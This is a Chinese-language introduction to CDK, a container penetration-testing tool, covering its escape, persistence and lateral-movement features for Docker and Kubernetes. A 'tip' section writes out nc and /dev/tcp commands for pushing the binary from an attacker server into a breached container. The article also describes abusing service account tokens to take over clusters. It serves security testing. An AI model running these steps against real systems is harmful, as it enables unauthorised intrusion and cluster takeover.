云安全容器安全扫盲 之 CDK工具介绍与使用
文章来源|MS08067 安全实验室
声明:
MS08067安全实验室不会对圈内任何机构、公司发起任何舆论攻击、诋毁。也欢迎各界朋友各种形式的合作!
CDK 是一款为 容器 环境定制的渗透测试工具,在已攻陷的容器内部提供零依赖的常用命令及PoC/EXP。集成Docker/K8s场景特有的 逃逸、横向移动、持久化利用方式,插件化管理。
GitHub地址:
https://github.com/cdk-team/CDK/
CDK 功能
CDK包括三个功能模块
Evaluate: 容器内部信息收集,以发现潜在的弱点便于后续利用。
Exploit: 提供容器逃逸、持久化、横向移动等利用方式。
Tool: 修复渗透过程中常用linux命令以及与Docker/K8s API交互命令。
使用场景
伴随着容器技术的快速发展,容器安全问题也逐渐成为企业所关注的话题。
针对容器场景的渗透测试一方面要求攻击者理解对Docker/K8s以及云服务的原理、特性以及漏洞利用方式;另一方面,攻击者通过业务漏洞(如WEB RCE)攻入容器后往往面对的是一个缩减后的容器环境,缺乏常用的linux命令依赖导致渗透效率不佳。
CDK为安全测试人员提供了golang原生的容器环境渗透能力,主要以下几点:
评估容器内部弱点、搜集敏感信息。
提供多种容器逃逸的漏洞利用方式。
提供K8s环境的多种持久化、横向移动方式。
提供原生的进程、网络命令,便于测试者自定义攻击操作。
技巧:在真实渗透中如何通过漏洞exploit向容器中投递CDK
如果你的漏洞利用过程允许上传文件,即可直接植入CDK。 如果你可以在目标容器中执行命令(RCE),但容器中没有wget或curl命令,可以参考下面方法植入:
将CDK下载到你的公网 服务器 ,监听端口:
nc -lvp 999 < cdk
在已攻入的目标容器中执行:
cat < /dev/tcp/Your IP/Your prot > cdk
chmod a+x cdk
使用方法
Evaluate: 容器内部信息收集
[本地信息收集-系统信息]
[本地信息收集-环境变量,敏感进程,服务]
[本地信息收集-可用命令,特权容器]
如果是以特权模式启动的话,CapEff对应的掩码值应该为0000003fffffffff
[本地信息收集-容器挂载]
利用:Procfs目录挂载逃逸
https://github.com/cdk-team/CDK/wiki/Exploit:-mount-procfs
[本地信息收集-网络namespace隔离]
判断容器是否与 宿主机 共享Net Namespace, 如果docker以--net=host启动且containerd-shim存在虚拟unix socket时,可通过CVE-2020-15257进行逃逸。
[网络信息收集-K8s API Server]
检查ENV信息判断当前容器是否属于K8s Pod,获取K8s api-server连接地址并尝试匿名登录,如果成功意味着可以直接通过api-server接管K8s集群。
[网络信息收集-K8s Service Account 认证凭据]
K8s集群创建的Pod中,容器内部默认携带K8s Service Account的认证凭据
(/run/secrets/kubernetes.io/serviceaccount/token)
CDK将利用该凭据尝试认证K8s api-server服务器并访问高权限接口,如果执行成功意味着该账号拥有高权限,就可以直接利用Service Account 接管K8s集群。
[网络信息收集-云厂商内置Metadata API]
探测云厂商内置的Metadata接口,从该接口可以获取到服务器VM的基础信息如OS版本、CPU及网络、DNS配置等,少数情况下可以发现用户在Metadata中自定义的信息。
Evaluate术语
[Information Gathering - Services]
[Information Gathering - Commands and Capabilities]